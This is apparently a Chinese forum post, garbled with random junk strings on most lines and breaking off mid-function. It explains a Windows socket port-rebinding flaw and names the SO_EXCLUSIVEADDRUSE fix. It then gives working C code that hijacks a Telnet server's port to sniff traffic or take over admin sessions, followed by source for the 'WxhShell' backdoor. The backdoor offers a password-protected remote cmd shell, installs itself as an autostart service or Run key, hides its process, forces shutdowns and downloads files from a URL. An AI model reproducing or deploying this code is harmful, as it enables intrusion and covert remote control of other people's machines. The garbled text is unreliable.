在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/vt3>d%B; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
).O)p9 KNl$3nX saddr.sin_family = AF_INET;
0GL M(JmK ~%oR[B7=| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Eci\a] P55fL-vo|} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}>\C{ClI kh<2BOV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3]hWfj1m2 :FF=a3/"6 这意味着什么?意味着可以进行如下的攻击:
?6!LL5a. P}iE+Z3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8ag!K*\V< [E_9V%^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6]N.%Y[( kZ~~/?B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9r9NxKuAO Z+SRXKQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/
{%%"j y =@N|f! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
GgU/!@ g(g& TO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[g,}gyeS( \V:^h[ad 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[[ZJ]^n, )7@0[> #include
)oZ dj` #include
"@kaHIf[ #include
f$( e\++ #include
6!o1XQr=Z DWORD WINAPI ClientThread(LPVOID lpParam);
hTkyz
la int main()
'w/hw'F6 {
]9-\~Mwh WORD wVersionRequested;
2oW"'43X DWORD ret;
XW9!p.*.U WSADATA wsaData;
_F{C\} BOOL val;
~&O%N SOCKADDR_IN saddr;
reVgqYp{{- SOCKADDR_IN scaddr;
PF2nLb2- int err;
G$PE}%X SOCKET s;
k)u[0} SOCKET sc;
=Qq+4F)MD int caddsize;
Xj*Wu_ HANDLE mt;
hZ3bVi)L\ DWORD tid;
5;?yCWc wVersionRequested = MAKEWORD( 2, 2 );
1M-pr 8:6s err = WSAStartup( wVersionRequested, &wsaData );
,Q B<7a+I if ( err != 0 ) {
G3]4A&h9v~ printf("error!WSAStartup failed!\n");
E7hhew return -1;
zDp 2g) }
Z)!C'c b saddr.sin_family = AF_INET;
J4utIGF GILfbNcd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}G=M2V<L X]=t> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$e\M_hp*J saddr.sin_port = htons(23);
`/g
UV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[lAp62i5 {
wr4:Go` printf("error!socket failed!\n");
NI5``BwpO return -1;
fM}#ON>Z }
+p^u^a val = TRUE;
v=k$A //SO_REUSEADDR选项就是可以实现端口重绑定的
$M#>9QHhc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b-y {
!wNO8;( printf("error!setsockopt failed!\n");
l2d{ 73h return -1;
l0]
EX>"E }
4 :=]<sc, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a?.=V //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2:R+tn(F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*I'yH8Fcn kT?J5u_o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
v<;Md-< {
Jwp7gYZ ret=GetLastError();
'S~5"6r printf("error!bind failed!\n");
~
1 pr~ return -1;
(t.Nk[ }
x"(KBEK~ listen(s,2);
*VeRVaBl while(1)
5;S.H#YOpO {
bcR_E5x$ caddsize = sizeof(scaddr);
H"KCK6 //接受连接请求
r>\bW)e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'|4!5)/K if(sc!=INVALID_SOCKET)
2tLJU Z1 {
eQ"E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:4s1CC+@\ if(mt==NULL)
_U0f=m {
1}37Q&2 printf("Thread Creat Failed!\n");
M;NX:mX9 break;
cAy3^{3: }
_6Ha }
9kojLqCT CloseHandle(mt);
7KPwQ?SjT }
3F0 N^)@ closesocket(s);
V1?]|HTQcT WSACleanup();
G
j1_!.T return 0;
C>~TI,5a3 }
{)"vN(mX DWORD WINAPI ClientThread(LPVOID lpParam)
xpI wrJO {
P$sxr SOCKET ss = (SOCKET)lpParam;
{T8Kk)L SOCKET sc;
@KA4N` unsigned char buf[4096];
eq" ]%s SOCKADDR_IN saddr;
Ug`djIL long num;
^&)|sP DWORD val;
b2]Kx&! DWORD ret;
jIF
|P- //如果是隐藏端口应用的话,可以在此处加一些判断
Bf:Q2slqI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B:QHwzd saddr.sin_family = AF_INET;
XM}hUJJW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q^I\cAIB saddr.sin_port = htons(23);
a6H%5N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,PZ ge {
BC]?0 U printf("error!socket failed!\n");
x :7IIvP return -1;
{|\.i }
_wOt39e& val = 100;
iOdpM{~* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fQ98(+6 {
+O5hH8<&b ret = GetLastError();
V+~Nalm O return -1;
{x7, }
L]Mo;kT<Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*qMY22X {
1sCR4L:+ ret = GetLastError();
mqJ_W[y7 return -1;
!-Y3V" }
Ve=b16H if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%bfZn9_m {
'n|5ZhXPB printf("error!socket connect failed!\n");
ETLD$=iS closesocket(sc);
c"Sq~X closesocket(ss);
# [a*rD%m return -1;
fzA9'i` }
X jX2] while(1)
s{" 2L{,$ {
VD :/PL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qCO/?kW //如果是嗅探内容的话,可以再此处进行内容分析和记录
O~QB!<Q+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`XB
9Mi= num = recv(ss,buf,4096,0);
g1o8._f. if(num>0)
3,=6@U send(sc,buf,num,0);
fX+O[j else if(num==0)
'\GbmD^F break;
v}x&?fU ` num = recv(sc,buf,4096,0);
G9:l'\ if(num>0)
V>
bCKtf& send(ss,buf,num,0);
K@#L)VT! else if(num==0)
:@)>r9N break;
MS]r:X6 }
]7mt[2Cd closesocket(ss);
gdoLyxQ closesocket(sc);
-gWZwW/lD return 0 ;
PT9*)9<L }
Faf&U%]*` ~nPtlrQa#* %#}Z y
==========================================================
qv"$Bd:]r o lxByzTh> 下边附上一个代码,,WXhSHELL
O<\@~U j)GtEP<n# ==========================================================
BSMwdr V_:&S2j #include "stdafx.h"
3 9|MX21k \G3rX9xG #include <stdio.h>
X|8c>_} #include <string.h>
d M-%{ #include <windows.h>
9E6R0D} #include <winsock2.h>
4{l, #include <winsvc.h>
3t6LT #include <urlmon.h>
T5:G$-qL( l \?c}7k #pragma comment (lib, "Ws2_32.lib")
B+0hzkPY #pragma comment (lib, "urlmon.lib")
hG:|9Sol, j w9b) #define MAX_USER 100 // 最大客户端连接数
"}JZU!? #define BUF_SOCK 200 // sock buffer
6x|jPb #define KEY_BUFF 255 // 输入 buffer
$j?1g# ~!3r&( #define REBOOT 0 // 重启
So
5N5,u@= #define SHUTDOWN 1 // 关机
PY0j9$i? o+9j?|M #define DEF_PORT 5000 // 监听端口
[=_jYzD,j| 6u}</>} #define REG_LEN 16 // 注册表键长度
r)6M!_]AW #define SVC_LEN 80 // NT服务名长度
Z`BK/:vo3H %!L9)(}" // 从dll定义API
Ib0ZjX6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I0RvnMw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KK%M~Y+tU' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TBrPf-Xr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+t:0SRSt (@}!0[[^ // wxhshell配置信息
{91nL'-' struct WSCFG {
kE(mVyLQ int ws_port; // 监听端口
0<B$#8 char ws_passstr[REG_LEN]; // 口令
tdaL/rRe int ws_autoins; // 安装标记, 1=yes 0=no
v]c6R-U char ws_regname[REG_LEN]; // 注册表键名
/^|Dbx!u char ws_svcname[REG_LEN]; // 服务名
R^e.s
- char ws_svcdisp[SVC_LEN]; // 服务显示名
zNuJj L char ws_svcdesc[SVC_LEN]; // 服务描述信息
t!\tF[9e char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ff1c/c/ int ws_downexe; // 下载执行标记, 1=yes 0=no
',4iFuY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K!]/(V(} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*r% c O<;3M'y\ };
0,8okAH |id
<=Xf // default Wxhshell configuration
wg]LVW} struct WSCFG wscfg={DEF_PORT,
@jlw_ob2g "xuhuanlingzhe",
O5t[ 1,
O s.4) "Wxhshell",
4I?^ t" "Wxhshell",
'oC)
NpnH "WxhShell Service",
_H=Uwi_g "Wrsky Windows CmdShell Service",
~BkCp pI "Please Input Your Password: ",
g
SAt@2*U2 1,
U~l$\c "
http://www.wrsky.com/wxhshell.exe",
'!a'ZjYyi "Wxhshell.exe"
d$AWu{y };
5-xX8-ElYz .%C|+#&d // 消息定义模块
mS~kJy_- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/_#q@r4ZQ char *msg_ws_prompt="\n\r? for help\n\r#>";
6qd\)q6T&x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G<^{&E+= char *msg_ws_ext="\n\rExit.";
MO <3"@/, char *msg_ws_end="\n\rQuit.";
NS6:yX,/ char *msg_ws_boot="\n\rReboot...";
AlW66YAuQ char *msg_ws_poff="\n\rShutdown...";
9lDhIqx0~ char *msg_ws_down="\n\rSave to ";
=+?7''{> r_;Nt char *msg_ws_err="\n\rErr!";
=6|&Jt char *msg_ws_ok="\n\rOK!";
g^ i&gNDx g!z&~Z: char ExeFile[MAX_PATH];
1q1jZqno int nUser = 0;
klR|6u]% HANDLE handles[MAX_USER];
fLm*1S|%\ int OsIsNt;
|WdPE@P \`\ZTZni SERVICE_STATUS serviceStatus;
B i<Q=x'Z; SERVICE_STATUS_HANDLE hServiceStatusHandle;
hzbw>g+ JOim3(5?s // 函数声明
A:9?ZI/X int Install(void);
fn6J*[` int Uninstall(void);
}t1a*z int DownloadFile(char *sURL, SOCKET wsh);
Z} r*K% int Boot(int flag);
=+MPFhvg! void HideProc(void);
.JiziFJ@mj int GetOsVer(void);
M6-&R=78K int Wxhshell(SOCKET wsl);
3%;a)c;D void TalkWithClient(void *cs);
>q1L2',pK int CmdShell(SOCKET sock);
WPG(@zD int StartFromService(void);
M*HnM( int StartWxhshell(LPSTR lpCmdLine);
@Sbe^x *lw_=MXSK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
KX7>^Bt&k VOID WINAPI NTServiceHandler( DWORD fdwControl );
6,9>g0y'NG ;<2G // 数据结构和表定义
4G>H SERVICE_TABLE_ENTRY DispatchTable[] =
e?ly H {
'V=P*#|SR {wscfg.ws_svcname, NTServiceMain},
nl,uuc*; {NULL, NULL}
s)Cjc.Qs };
e?=^;v%r 2eol
gXp // 自我安装
1.9}_4! int Install(void)
9dUravC7 {
t#pS{.I char svExeFile[MAX_PATH];
z}ddqZ27G$ HKEY key;
qF-@V25P strcpy(svExeFile,ExeFile);
W=qVc j578)!aJ // 如果是win9x系统,修改注册表设为自启动
{_Rr 6 if(!OsIsNt) {
s^uS1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K]"#C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q &K RegCloseKey(key);
rOOT8nkR# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I4q9|'-yx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,lA s RegCloseKey(key);
6@0OQb return 0;
Fv<F}h? 6 }
.KUv(- }
Z%/=|[9i }
}YNR"X9*)/ else {
NI
[
pp` hPePB= // 如果是NT以上系统,安装为系统服务
zvH8^1yzG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:Ab%g- if (schSCManager!=0)
T7u%^xm {
)MchsuF< SC_HANDLE schService = CreateService
}n2M G (
`Kr,>sEAM schSCManager,
;^%4Q" wscfg.ws_svcname,
QKN+>X wscfg.ws_svcdisp,
474SMx$ SERVICE_ALL_ACCESS,
#(JNn'fzq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4 k _vdz SERVICE_AUTO_START,
.QJ5sgmh SERVICE_ERROR_NORMAL,
YLv'43PL svExeFile,
es&vMY NULL,
|O9O )o NULL,
}h!f eP NULL,
Midy" NULL,
T<p !5`B 1 NULL
EYEnN );
h+&OQ%e=8 if (schService!=0)
`FTy+8mw {
=mpVYA CloseServiceHandle(schService);
v`zJb00DT CloseServiceHandle(schSCManager);
gSUcx9f] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9:1Q1,-i!- strcat(svExeFile,wscfg.ws_svcname);
hB>oJC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
iQ
fJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C3],n RegCloseKey(key);
~SF<,-Kg return 0;
I3mGo }
lXiKY@R# }
P5nO78 CloseServiceHandle(schSCManager);
]?
g@jRs }
?_vakJ
) }
2Yn <2U/^R DN~nk return 1;
D \sWZ }
tlqiXh< -~30)J=e` // 自我卸载
Yc
`)R int Uninstall(void)
jWl)cC {
bc)~k: HKEY key;
xt%7@/hiE L3 --r if(!OsIsNt) {
l6kWQpV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7/f3Z1g RegDeleteValue(key,wscfg.ws_regname);
~ZEmULKkR RegCloseKey(key);
Q[pV!CH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/bi[e9R RegDeleteValue(key,wscfg.ws_regname);
\LppYXz RegCloseKey(key);
M)N?qRD return 0;
}\#Rot>Y }
TDNQu_E }
|J}Mgb-4 }
4/1d&Sg else {
t&CJ%XP D+z?wuXk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
FUOI3 if (schSCManager!=0)
b6F4>@gjg {
^1aAjYFn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ReI/]#Us if (schService!=0)
Hp|_6hO 2 {
4 G-wd if(DeleteService(schService)!=0) {
"a"]o CloseServiceHandle(schService);
-VTkG]{`Ir CloseServiceHandle(schSCManager);
"a1n_>#Fb return 0;
6&l+0dq }
rIhl.5Y CloseServiceHandle(schService);
i2(1ki/|O }
s,n0jix@ CloseServiceHandle(schSCManager);
^!z[t\$ }
<$~mE9a6 }
i Ae<&Ms hn=[1<#^( return 1;
5v}8org }
Boz@bl mCB wl$h4 {L7 // 从指定url下载文件
Y2SJ7 int DownloadFile(char *sURL, SOCKET wsh)
0[*qY@m:Z {
q+]h=:5=I HRESULT hr;
^(h+URFpA char seps[]= "/";
w1"nffhO char *token;
8C~]yd char *file;
MP 2~;T}~ char myURL[MAX_PATH];
"7V2lu char myFILE[MAX_PATH];
:8+Ni d) ,JN8f]a^"g strcpy(myURL,sURL);
yi%-7[*]= token=strtok(myURL,seps);
R Yl> while(token!=NULL)
cwWodPNm {
2e9es file=token;
]=";IN:SU token=strtok(NULL,seps);
GBFtr }
[7S} g dW~*e2nq GetCurrentDirectory(MAX_PATH,myFILE);
i35=Y~P- strcat(myFILE, "\\");
^? ]%sdT q strcat(myFILE, file);
Yvjc1 send(wsh,myFILE,strlen(myFILE),0);
'-b*EZU8t send(wsh,"...",3,0);
zs*L~_K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(RZD'U/B if(hr==S_OK)
,gOOiB
} return 0;
sWblFvHqrU else
SD$h@p=!= return 1;
x,S
P'fcP k]HEhY }
g[7#w,o Za8#$`zq // 系统电源模块
-3lb@ 6I6 int Boot(int flag)
5
Ho^N1q {
?Ovqp-sw HANDLE hToken;
MxcFvo*LCp TOKEN_PRIVILEGES tkp;
wz.6du6- eT8} if(OsIsNt) {
=xJKIu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G0;XaL: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>Ll$p0W tkp.PrivilegeCount = 1;
@wC5 g 4E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
i'wAE:Xe AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
g9WGkHF if(flag==REBOOT) {
e|D;OM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
mL`5 uf return 0;
Eb>78k(3I) }
B0!"A else {
jDN ]3Y` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fpN-
o return 0;
Ttc[Q]Ri }
FH%GIi }
!o+_T? else {
]mXLg:3B if(flag==REBOOT) {
|7pR)KH3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$aPfGZ<i return 0;
-x4X O`b }
0,Y5KE{ else {
AT)a :i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{$^DMANDx return 0;
*[R
eb% }
j>/ ,$H }
U Gpu\TB x5WW--YR+ return 1;
,SiY;(b=\ }
JiU9CeD3 ZzBQe // win9x进程隐藏模块
#I3$3^0i# void HideProc(void)
S#Sb ] {
MqA`yvQm &0 BdUU+:< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f5==";eP if ( hKernel != NULL )
?k|H3;\ {
=.`qixN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%-AE]-/HI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
TbF4/T1b FreeLibrary(hKernel);
|xvy')(b }
0%
#<c p <ExZ:ip return;
tpTAeQ*:d }
e=QK}gzX uH;-z_Wpn! // 获取操作系统版本
D'hW| int GetOsVer(void)
N#_GJSG_| {
V)i5=bHC OSVERSIONINFO winfo;
O8W7<Wc|z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7 +@qB]Bi< GetVersionEx(&winfo);
4~OQhiJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R?EASc!b return 1;
}AvcoD/b else
N9<Ujom return 0;
h<\_XJJ }
H<G4O02i_ 3TZ*RPmFRm // 客户端句柄模块
S$^RbI int Wxhshell(SOCKET wsl)
GzTq5uU& {
X*7\lf2 SOCKET wsh;
@AYo-gf struct sockaddr_in client;
=?(~aV DWORD myID;
?`Y\)'} %D`,k*X while(nUser<MAX_USER)
*VkgQ`c {
' 2-oh int nSize=sizeof(client);
OcSEo7W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q!FLR>8 if(wsh==INVALID_SOCKET) return 1;
*I?Eb-!t T4;T6 9j;, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_ZAch zV if(handles[nUser]==0)
;|cTHGxbE closesocket(wsh);
nD2,!71
else
Wi}FY }f nUser++;
9cv]y# }
TV}}dw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h`}3h<
8 m%8qZzqk return 0;
DBs*Fx[ }
1]T`n /d V ,[nm_^R*\ // 关闭 socket
S-nlr@w8 void CloseIt(SOCKET wsh)
:9|W#d{o {
j` /&r*zNq closesocket(wsh);
[;b=A nUser--;
)P>u9=?,=E ExitThread(0);
D8#
on! }
V=:_ d, pNE(n4v // 客户端请求句柄
~/tKMS6T void TalkWithClient(void *cs)
Bfv.$u00p {
U^Tp6vN d Pu>N_^ C SOCKET wsh=(SOCKET)cs;
^ 2u/n char pwd[SVC_LEN];
l48k< char cmd[KEY_BUFF];
BD#.-xWV char chr[1];
e|r0zw S int i,j;
ARfRsPxr O;]?gj 1@ while (nUser < MAX_USER) {
Sb:T*N0gS I6LD)? if(wscfg.ws_passstr) {
SgE/!+{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lKEa)KF[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y#01o&f0n //ZeroMemory(pwd,KEY_BUFF);
8 )\M:s~7& i=0;
wn11\j& while(i<SVC_LEN) {
2PSTGG8JV 7>
Pgc // 设置超时
K$REZe fd_set FdRead;
/LQ:Sv7 struct timeval TimeOut;
$YG1z FD_ZERO(&FdRead);
zG
c[Z3N FD_SET(wsh,&FdRead);
?&l)W~S TimeOut.tv_sec=8;
~L+]n0* TimeOut.tv_usec=0;
^Dx#7bsDZR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
WIh@y2&R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
em]xtya !@
YXZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
nD,{3B#
pwd
=chr[0]; ;</Twm;:
if(chr[0]==0xd || chr[0]==0xa) { y^FOsr
pwd=0; _hCJ|Rrln
break; 8Vt4HD 08
} YJ2ro-X
i++; []&(D_e"
} 9F+ P@Kp
^i:\@VA:
// 如果是非法用户,关闭 socket ]R_G{%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cQFR]i
} C/v}^#cLD
|&hU=J
o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0D)`2W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z]-WFU_
N
y?N Nz0
while(1) { LN!W(n(
/b.oEGqZX
ZeroMemory(cmd,KEY_BUFF); :nQp.N*p
RFG$X-.e
// 自动支持客户端 telnet标准 "6I[4U"@
j=0; &(&
while(j<KEY_BUFF) { g*]E>SQ=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a`Z{
xme=
cmd[j]=chr[0]; Z-|li}lDr
if(chr[0]==0xa || chr[0]==0xd) { iG[?
]]
cmd[j]=0; }BN\/;<A
break; F$hZRZ
} Ud3""C5B
j++; G+Dpma ]
} ;WI]vn
te2
Iu%5 z
// 下载文件 '.p? 6k!K
if(strstr(cmd,"http://")) { h}=M^SL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \OHv|8!EI@
if(DownloadFile(cmd,wsh)) $+:(f{Va*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `X+j2TmS
else A'"-m)1P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DA
LQ<iF
} EE%s<_k`
else { M g!ra"
b4~H3|
switch(cmd[0]) { H,>#|F
'H=weH
// 帮助 ( D}"&2
case '?': { |@`"F5@,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *:arva5
break; A'DVJ9%xB
} u3wL<$2[8
// 安装 X7e/:._SAH
case 'i': { sA_X<>vAKJ
if(Install()) /Antb6E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .k]#XoE
else z/vDgH!s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); org*z!;.
break; r69WD
.
} Mj~${vj
// 卸载 `45d"B
I
case 'r': { POBpJg
if(Uninstall()) _
+KmNfR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf+7"![|
else UpeQOC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q$^<zY
break; M1uP\Sa
} /w~C~6z
@!
// 显示 wxhshell 所在路径 >i8~dEbB
case 'p': { HIPL!ss]
char svExeFile[MAX_PATH]; kGD|c=K}
strcpy(svExeFile,"\n\r"); ^W['A]l
strcat(svExeFile,ExeFile); MxN]7
send(wsh,svExeFile,strlen(svExeFile),0); A[ 1)!e
break; ~_}4jnC
} J<_ 1z':W)
// 重启 &HxT41pku
case 'b': { WLy7'3@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |+/$ g.
if(Boot(REBOOT)) )_O.{$
to
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4qBY%1
else { Ai jUs*n 2
closesocket(wsh); :bw6 k
ExitThread(0); n1)'cS5}
} gX"T*d>y
break; kv%)K'fU4
} d
H_2o
// 关机 kGj]i@(PA4
case 'd': { F`D9Zfd
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'WzUu MCx
if(Boot(SHUTDOWN)) X)NWX9^;'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t>@yv#
else { D'?]yyrf
closesocket(wsh); \I
xzdFF#
ExitThread(0); Wy,"cT
} w#d} TY
break; mdt
?:F4Q
} 2?H@$-x>
// 获取shell T Xl\hL\+
case 's': { w}b<D#0XC
CmdShell(wsh); GFY-IC+fc
closesocket(wsh); 'Ix5,^M}B
ExitThread(0); Q^ q=!/qQ
break; j%GbgJ
} {"\q(R0
// 退出 N
I3(
case 'x': { *e, CDV
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YrKFa%k
CloseIt(wsh); 5EfY9}dl
break; mN7&%Z
} 9 G((wiE
// 离开 z.A4x#>-
case 'q': { k2wBy'M.'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j>V"hf
closesocket(wsh); =*[, *A
WSACleanup(); mC"7)&,F
exit(1); 0.(zTJ
break; _AAx
)
} %y3:SUOdx
} 5A;"jp^ Z
} K9LEIby
cnC_#kp
// 提示信息 {!g?d<*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xv]*;Bq:SK
} hX %s]"
} TR|;,A[%v#
qY# m*R
return; e8 v; D
} |M]sk?"^
-D$3!ccX
// shell模块句柄 F1/6&u9I
int CmdShell(SOCKET sock) 4g S[D
{ 7!mJhgGc
STARTUPINFO si; 6O%=G3I
ZeroMemory(&si,sizeof(si)); cy9N:MR(c
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cyDiA(ot&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~S!L!qY
PROCESS_INFORMATION ProcessInfo; -aA<.+
char cmdline[]="cmd"; `$f\ %
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %d ZM9I0
return 0; JPHUmv6
} a{5H33JA
2}GKHC
// 自身启动模式 G)jG!`I
int StartFromService(void) [6oq##
{ IBzHR[#,^
typedef struct O5c_\yv=
{ EP/&m|o|G
DWORD ExitStatus; uFMs^^#
DWORD PebBaseAddress; a =9vS{
DWORD AffinityMask; o&WRta>VP
DWORD BasePriority; GsR-#tV@
ULONG UniqueProcessId; a\.//?
ULONG InheritedFromUniqueProcessId; @ 8A{ 9i
